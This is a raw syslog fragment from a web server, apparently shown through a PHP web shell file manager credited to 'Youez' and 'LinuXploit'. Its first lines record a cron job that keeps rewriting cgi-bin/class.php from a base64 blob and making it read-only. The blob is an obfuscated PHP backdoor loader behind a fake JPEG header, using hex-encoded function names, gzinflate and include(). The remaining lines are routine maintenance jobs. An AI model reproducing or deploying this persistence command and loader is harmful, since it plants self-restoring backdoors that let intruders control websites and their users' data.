&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:50:01 server CROND[25957]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:50:01 server CROND[25960]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 03:50:01 server CROND[25961]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 03:50:01 server CROND[25958]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 03:50:01 server CROND[25959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 03:50:01 server anacron[11895]: Job `cron.daily' started
Nov 16 03:50:01 server run-parts(/etc/cron.daily)[26024]: starting csget
Nov 16 03:50:01 server run-parts(/etc/cron.daily)[26034]: finished csget
Nov 16 03:50:01 server run-parts(/etc/cron.daily)[26024]: starting logclean
Nov 16 03:50:01 server run-parts(/etc/cron.daily)[26048]: finished logclean
Nov 16 03:50:01 server run-parts(/etc/cron.daily)[26024]: starting logrotate
</pre><center><br>Youez - 2016 - github.com/yon3zu<br><a href='https://linuxploit.com/' target='_blank'>LinuXploit</a></center>